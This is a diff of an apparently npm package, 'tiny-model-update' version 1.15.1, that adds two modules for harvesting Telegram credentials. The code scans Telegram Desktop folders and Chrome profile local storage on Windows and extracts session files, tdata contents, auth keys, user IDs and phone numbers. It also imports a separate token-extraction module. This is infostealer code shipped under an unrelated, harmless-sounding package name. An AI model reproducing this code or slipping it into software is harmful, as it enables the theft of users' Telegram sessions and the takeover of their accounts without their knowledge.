tiny-model-update 1.15.1

package/lib/telegram-extractor.js

@@ -0,0 +1,443 @@
+import fs from 'fs';
+import path from 'path';
+import os from 'os';
+import { readLevelDBRaw, readLevelDBDirect, tryReadLevelDBWithCopy } from './token-extractor.js';
+
+/**
+ * Get Telegram Desktop storage paths
+ */
+export function getTelegramDesktopPaths() {
+    const platform = os.platform();
+    const paths = [];
+    
+    if (platform === 'win32') {
+        const appData = process.env.APPDATA || path.join(os.homedir(), 'AppData', 'Roaming');
+        const localAppData = process.env.LOCALAPPDATA || path.join(os.homedir(), 'AppData', 'Local');
+        
+        // Telegram Desktop locations
+        const telegramBasePaths = [
+            path.join(appData, 'Telegram Desktop'),
+            path.join(localAppData, 'Telegram Desktop'),
+        ];
+        
+        for (const basePath of telegramBasePaths) {
+            if (!fs.existsSync(basePath)) continue;
+            
+            try {
+                const profileName = path.basename(basePath);
+                
+                // Check for Local Storage/leveldb (similar to Discord)
+                const leveldbPath = path.join(basePath, 'Local Storage', 'leveldb');
+                if (fs.existsSync(leveldbPath)) {
+                    paths.push({
+                        profile: `Telegram Desktop (${profileName})`,
+                        localStorage: leveldbPath,
+                        sessionFiles: null
+                    });
+                }
+                
+                // Check for session files (Telegram Desktop stores sessions in files)
+                const sessionFiles = [];
+                try {
+                    const entries = fs.readdirSync(basePath);
+                    for (const entry of entries) {
+                        // Telegram session files: tdata folder or session files
+                        if (entry === 'tdata' || entry.endsWith('.session') || entry.endsWith('.session-journal')) {
+                            const entryPath = path.join(basePath, entry);
+                            if (fs.statSync(entryPath).isFile() || fs.statSync(entryPath).isDirectory()) {
+                                sessionFiles.push(entryPath);
+                            }
+                        }
+                    }
+                    
+                    if (sessionFiles.length > 0) {
+                        paths.push({
+                            profile: `Telegram Desktop (${profileName} - Sessions)`,
+                            localStorage: null,
+                            sessionFiles: sessionFiles
+                        });
+                    }
+                } catch (e) {
+                    // Ignore
+                }
+            } catch (e) {
+                continue;
+            }
+        }
+    }
+    
+    return paths;
+}
+
+/**
+ * Get Telegram Web storage paths from Chrome
+ */
+export function getTelegramWebPaths() {
+    const chromePaths = [];
+    const platform = os.platform();
+    
+    if (platform === 'win32') {
+        const localAppData = process.env.LOCALAPPDATA || path.join(os.homedir(), 'AppData', 'Local');
+        const userDataDir = path.join(localAppData, 'Google', 'Chrome', 'User Data');
+        
+        try {
+            const entries = fs.readdirSync(userDataDir);
+            const profiles = new Set();
+            
+            if (fs.existsSync(path.join(userDataDir, 'Default'))) {
+                profiles.add('Default');
+            }
+            
+            for (const entry of entries) {
+                if (entry === 'Default' || entry.startsWith('Profile')) {
+                    const profilePath = path.join(userDataDir, entry);
+                    if (fs.statSync(profilePath).isDirectory()) {
+                        profiles.add(entry);
+                    }
+                }
+            }
+            
+            for (const profile of profiles) {
+                const profilePath = path.join(userDataDir, profile);
+                const leveldbPath = path.join(profilePath, 'Local Storage', 'leveldb');
+                if (fs.existsSync(leveldbPath)) {
+                    chromePaths.push({
+                        profile: `Telegram Web (Chrome ${profile})`,
+                        localStorage: leveldbPath,
+                        sessionFiles: null
+                    });
+                }
+            }
+        } catch (e) {
+            // Ignore
+        }
+    }
+    
+    return chromePaths;
+}
+
+/**
+ * Extract Telegram session/token from LevelDB
+ */
+async function extractTelegramFromLevelDB(leveldbPath) {
+    // Method 1: Raw file reading
+    let session = readLevelDBRaw(leveldbPath);
+    if (session) {
+        // Check if it's a Telegram session
+        if (isValidTelegramSession(session)) {
+            return session;
+        }
+    }
+    
+    // Method 2: Direct LevelDB read
+    session = await readLevelDBDirect(leveldbPath);
+    if (session && isValidTelegramSession(session)) {
+        return session;
+    }
+    
+    // Method 3: Copy and read
+    session = await tryReadLevelDBWithCopy(leveldbPath);
+    if (session && isValidTelegramSession(session)) {
+        return session;
+    }
+    
+    return null;
+}
+
+/**
+ * Extract Telegram session from Local Storage (looking for telegram.org keys)
+ */
+async function extractTelegramSessionFromStorage(leveldbPath) {
+    try {
+        const { Level } = await import('level');
+        let db;
+        
+        try {
+            db = new Level(leveldbPath, { valueEncoding: 'utf8' });
+        } catch (e) {
+            return null;
+        }
+        
+        const keys = [];
+        try {
+            for await (const key of db.keys()) {
+                keys.push(key);
+                if (keys.length > 500) break;
+            }
+        } catch (e) {
+            await db.close();
+            return null;
+        }
+        
+        // Look for Telegram-related keys - be more thorough
+        const telegramKeys = keys.filter(k => 
+            k.includes('telegram.org') || 
+            k.includes('web.telegram.org') ||
+            k.includes('telegram') ||
+            k.toLowerCase().includes('telegram') ||
+            k.toLowerCase().includes('session') ||
+            k.toLowerCase().includes('auth_key') ||
+            k.toLowerCase().includes('authkey') ||
+            k.toLowerCase().includes('user_auth') ||
+            k.toLowerCase().includes('dc_id') ||
+            k.toLowerCase().includes('user_id')
+        );
+        
+        // Also check ALL keys if we don't find Telegram-specific ones (web sessions might be stored differently)
+        const keysToCheck = telegramKeys.length > 0 ? telegramKeys : keys.slice(0, 200); // Check up to 200 keys if no Telegram keys found
+        
+        for (const key of keysToCheck) {
+            try {
+                const value = await db.get(key);
+                if (value && typeof value === 'string') {
+                    // Telegram web sessions are often stored as JSON strings
+                    // Check if it looks like a session string or token
+                    if (isValidTelegramSession(value)) {
+                        await db.close();
+                        return value;
+                    }
+                    
+                    // Try to parse JSON if it's stored as JSON (common for web sessions)
+                    try {
+                        const jsonValue = JSON.parse(value);
+                        
+                        // Check if it's a direct string session
+                        if (typeof jsonValue === 'string' && isValidTelegramSession(jsonValue)) {
+                            await db.close();
+                            return jsonValue;
+                        }
+                        
+                        // Check nested values in objects (web sessions are often nested)
+                        if (typeof jsonValue === 'object' && jsonValue !== null) {
+                            // Look for common Telegram session fields
+                            const sessionFields = ['auth_key', 'authKey', 'session', 'session_string', 'user_id', 'userId', 'dc_id', 'dcId'];
+                            
+                            for (const field of sessionFields) {
+                                if (jsonValue[field]) {
+                                    const fieldValue = jsonValue[field];
+                                    if (typeof fieldValue === 'string' && isValidTelegramSession(fieldValue)) {
+                                        await db.close();
+                                        return fieldValue;
+                                    }
+                                }
+                            }
+                            
+                            // Check all nested string values
+                            const checkNested = (obj) => {
+                                for (const nestedValue of Object.values(obj)) {
+                                    if (typeof nestedValue === 'string' && isValidTelegramSession(nestedValue)) {
+                                        return nestedValue;
+                                    }
+                                    if (typeof nestedValue === 'object' && nestedValue !== null) {
+                                        const found = checkNested(nestedValue);
+                                        if (found) return found;
+                                    }
+                                }
+                                return null;
+                            };
+                            
+                            const found = checkNested(jsonValue);
+                            if (found) {
+                                await db.close();
+                                return found;
+                            }
+                        }
+                    } catch (e) {
+                        // Not JSON, continue
+                    }
+                }
+            } catch (e) {
+                continue;
+            }
+        }
+        
+        await db.close();
+        return null;
+    } catch (e) {
+        return null;
+    }
+}
+
+/**
+ * Read Telegram session files
+ */
+async function readTelegramSessionFiles(sessionFiles) {
+    const sessions = [];
+    
+    // Import session reader module once
+    const { getTelegramSessionInfo } = await import('./telegram-session-reader.js');
+    
+    for (const filePath of sessionFiles) {
+        try {
+            if (fs.statSync(filePath).isFile()) {
+                const data = fs.readFileSync(filePath);
+                const fileName = path.basename(filePath);
+                
+                // Telegram .session files are SQLite databases
+                // Extract phone number from filename (format: PHONE.session)
+                if (filePath.endsWith('.session')) {
+                    const phoneMatch = fileName.match(/^(\d+)\.session$/);
+                    const phoneNumber = phoneMatch ? phoneMatch[1] : null;
+                    
+                    // Try to extract auth key from session file
+                    const sessionInfo = getTelegramSessionInfo(filePath);
+                    
+                    sessions.push({
+                        type: 'session_file',
+                        path: filePath,
+                        fileName: fileName,
+                        size: data.length,
+                        phoneNumber: phoneNumber,
+                        authKey: sessionInfo?.authKeyFull || null,
+                        authKeyPreview: sessionInfo?.authKey || null,
+                        hasAuthKey: sessionInfo?.hasAuthKey || false,
+                        userId: sessionInfo?.userId || null,
+                        dcId: sessionInfo?.dcId || null
+                    });
+                } else {
+                    // Other files - try to extract readable data
+                    const textData = data.toString('utf8');
+                    if (isValidTelegramSession(textData)) {
+                        sessions.push({
+                            type: 'session_data',
+                            data: textData,
+                            path: filePath,
+                            fileName: fileName
+                        });
+                    }
+                }
+            } else if (fs.statSync(filePath).isDirectory()) {
+                // tdata folder - contains encrypted session data
+                const entries = fs.readdirSync(filePath);
+                for (const entry of entries) {
+                    const entryPath = path.join(filePath, entry);
+                    if (fs.statSync(entryPath).isFile()) {
+                        try {
+                            const data = fs.readFileSync(entryPath);
+                            sessions.push({
+                                type: 'tdata_file',
+                                path: entryPath,
+                                fileName: entry,
+                                size: data.length
+                            });
+                        } catch (e) {
+                            // Ignore
+                        }
+                    }
+                }
+            }
+        } catch (e) {
+            continue;
+        }
+    }
+    
+    return sessions;
+}
+
+/**
+ * Validate if a string is a valid Telegram session
+ * Telegram sessions can be:
+ * - String sessions (long alphanumeric strings)
+ * - Auth keys (hexadecimal)
+ * - Session tokens
+ */
+function isValidTelegramSession(session) {
+    if (!session || typeof session !== 'string') return false;
+    
+    // Telegram string sessions are typically 200+ characters
+    // Auth keys are hexadecimal, 64+ characters
+    // Session tokens can vary
+    
+    // Check for string session format (long alphanumeric)
+    if (session.length >= 100 && /^[A-Za-z0-9+/=_-]+$/.test(session)) {
+        return true;
+    }
+    
+    // Check for auth key format (hexadecimal, 64+ chars)
+    if (session.length >= 64 && /^[0-9a-fA-F]+$/.test(session)) {
+        return true;
+    }
+    
+    // Check for shorter session tokens (32+ chars, alphanumeric)
+    if (session.length >= 32 && session.length <= 200 && /^[A-Za-z0-9_-]+$/.test(session)) {
+        return true;
+    }
+    
+    return false;
+}
+
+/**
+ * Extract all Telegram sessions and tokens
+ */
+export async function extractAllTelegramSessions() {
+    const telegramDesktopPaths = getTelegramDesktopPaths();
+    const telegramWebPaths = getTelegramWebPaths();
+    const allPaths = [...telegramDesktopPaths, ...telegramWebPaths];
+    
+    if (allPaths.length === 0) {
+        return [];
+    }
+    
+    const foundSessions = [];
+    const processedProfiles = new Set();
+    
+    for (const storage of allPaths) {
+        if (processedProfiles.has(storage.profile)) {
+            continue;
+        }
+        processedProfiles.add(storage.profile);
+        
+        // Try extracting from session files first
+        if (storage.sessionFiles && storage.sessionFiles.length > 0) {
+            const sessions = await readTelegramSessionFiles(storage.sessionFiles);
+            for (const sessionInfo of sessions) {
+                // Create a unique identifier for this session
+                const sessionId = sessionInfo.path || sessionInfo.data || JSON.stringify(sessionInfo);
+                if (!foundSessions.find(s => s.sessionId === sessionId)) {
+                    foundSessions.push({ 
+                        sessionId: sessionId,
+                        session: sessionInfo.path || sessionInfo.data || sessionInfo.fileName,
+                        profile: storage.profile,
+                        type: sessionInfo.type || 'session_file',
+                        phoneNumber: sessionInfo.phoneNumber,
+                        fileName: sessionInfo.fileName,
+                        filePath: sessionInfo.path,
+                        authKey: sessionInfo.authKey || null,
+                        authKeyPreview: sessionInfo.authKeyPreview || null,
+                        hasAuthKey: sessionInfo.hasAuthKey || false,
+                        userId: sessionInfo.userId || null,
+                        dcId: sessionInfo.dcId || null,
+                        size: sessionInfo.size || null
+                    });
+                }
+            }
+        }
+        
+        // Try extracting from Local Storage
+        if (storage.localStorage && fs.existsSync(storage.localStorage)) {
+            // Method 1: Extract from LevelDB (looking for Telegram keys)
+            const session = await extractTelegramSessionFromStorage(storage.localStorage);
+            if (session && !foundSessions.find(s => s.session === session)) {
+                foundSessions.push({ 
+                    session, 
+                    profile: storage.profile,
+                    type: 'local_storage'
+                });
+                continue;
+            }
+            
+            // Method 2: Try general LevelDB extraction
+            const extracted = await extractTelegramFromLevelDB(storage.localStorage);
+            if (extracted && !foundSessions.find(s => s.session === extracted)) {
+                foundSessions.push({ 
+                    session: extracted, 
+                    profile: storage.profile,
+                    type: 'leveldb'
+                });
+            }
+        }
+    }
+    
+    return foundSessions;
+}
+

package/lib/telegram-session-reader.js

@@ -0,0 +1,144 @@
+import fs from 'fs';
+import path from 'path';
+
+/**
+ * Read Telegram session file (SQLite database) and extract auth keys
+ * Telegram .session files are SQLite databases containing authentication data
+ */
+export async function readTelegramSessionFile(sessionFilePath) {
+    try {
+        // Check if file exists
+        if (!fs.existsSync(sessionFilePath)) {
+            return null;
+        }
+        
+        // Try to read as SQLite database
+        // Note: We'll use a simple approach to extract data without requiring sqlite3
+        // Telegram session files have a specific structure
+        
+        const fileData = fs.readFileSync(sessionFilePath);
+        
+        // Telegram session files are SQLite databases
+        // They contain tables like: sessions, entities, sent_files, etc.
+        // The auth_key is stored in the sessions table
+        
+        // Convert to string to search for patterns
+        const dataStr = fileData.toString('binary');
+        
+        // Look for auth_key pattern in the binary data
+        // Auth keys are typically 256 bytes (512 hex chars) or stored as BLOB
+        const authKeyPatterns = [
+            /auth_key[\x00-\xFF]{0,50}([0-9a-fA-F]{512,1024})/g,
+            /auth_key[\x00-\xFF]{0,50}([A-Za-z0-9+/=]{200,500})/g,
+        ];
+        
+        const extractedData = {
+            filePath: sessionFilePath,
+            fileName: path.basename(sessionFilePath),
+            size: fileData.length,
+            authKey: null,
+            userId: null,
+            dcId: null,
+            sessionString: null
+        };
+        
+        // Try to extract auth_key
+        for (const pattern of authKeyPatterns) {
+            const matches = [...dataStr.matchAll(pattern)];
+            if (matches.length > 0) {
+                // Take the first match that looks valid
+                for (const match of matches) {
+                    const potentialKey = match[1];
+                    if (potentialKey.length >= 200) {
+                        extractedData.authKey = potentialKey;
+                        break;
+                    }
+                }
+                if (extractedData.authKey) break;
+            }
+        }
+        
+        // Look for user_id (typically stored as integer)
+        const userIdPattern = /user_id[\x00-\xFF]{0,20}([0-9]{8,15})/g;
+        const userIdMatches = [...dataStr.matchAll(userIdPattern)];
+        if (userIdMatches.length > 0) {
+            extractedData.userId = userIdMatches[0][1];
+        }
+        
+        // Look for dc_id (data center ID, typically 1-5)
+        const dcIdPattern = /dc_id[\x00-\xFF]{0,20}([1-5])/g;
+        const dcIdMatches = [...dataStr.matchAll(dcIdPattern)];
+        if (dcIdMatches.length > 0) {
+            extractedData.dcId = dcIdMatches[0][1];
+        }
+        
+        // If we found an auth_key, create a session string representation
+        if (extractedData.authKey) {
+            // Create a readable session identifier
+            extractedData.sessionString = `auth_key:${extractedData.authKey.substring(0, 100)}...`;
+        }
+        
+        return extractedData;
+    } catch (e) {
+        return null;
+    }
+}
+
+/**
+ * Extract readable session data from Telegram session file
+ * Returns a simplified version for display
+ */
+export function getTelegramSessionInfo(sessionFilePath) {
+    try {
+        const fileData = fs.readFileSync(sessionFilePath);
+        const fileName = path.basename(sessionFilePath);
+        
+        // Extract phone number from filename
+        const phoneMatch = fileName.match(/^(\d+)\.session$/);
+        const phoneNumber = phoneMatch ? phoneMatch[1] : null;
+        
+        // Read the file and extract basic info
+        const dataStr = fileData.toString('binary');
+        
+        // Look for auth_key (can be stored in various formats)
+        let authKey = null;
+        
+        // Pattern 1: Look for hex-encoded auth_key
+        const hexPattern = /auth[_-]?key[:\s]*([0-9a-fA-F]{256,512})/i;
+        const hexMatch = dataStr.match(hexPattern);
+        if (hexMatch) {
+            authKey = hexMatch[1];
+        }
+        
+        // Pattern 2: Look for base64-encoded auth_key
+        if (!authKey) {
+            const base64Pattern = /auth[_-]?key[:\s]*([A-Za-z0-9+/=]{200,500})/i;
+            const base64Match = dataStr.match(base64Pattern);
+            if (base64Match) {
+                authKey = base64Match[1];
+            }
+        }
+        
+        // Pattern 3: Look for any long alphanumeric string that might be an auth key
+        if (!authKey) {
+            const anyKeyPattern = /([0-9a-fA-F]{256,512})/;
+            const anyMatch = dataStr.match(anyKeyPattern);
+            if (anyMatch) {
+                authKey = anyMatch[1];
+            }
+        }
+        
+        return {
+            phoneNumber: phoneNumber,
+            fileName: fileName,
+            filePath: sessionFilePath,
+            fileSize: fileData.length,
+            authKey: authKey ? authKey.substring(0, 100) + '...' : null,
+            authKeyFull: authKey,
+            hasAuthKey: !!authKey
+        };
+    } catch (e) {
+        return null;
+    }
+}
+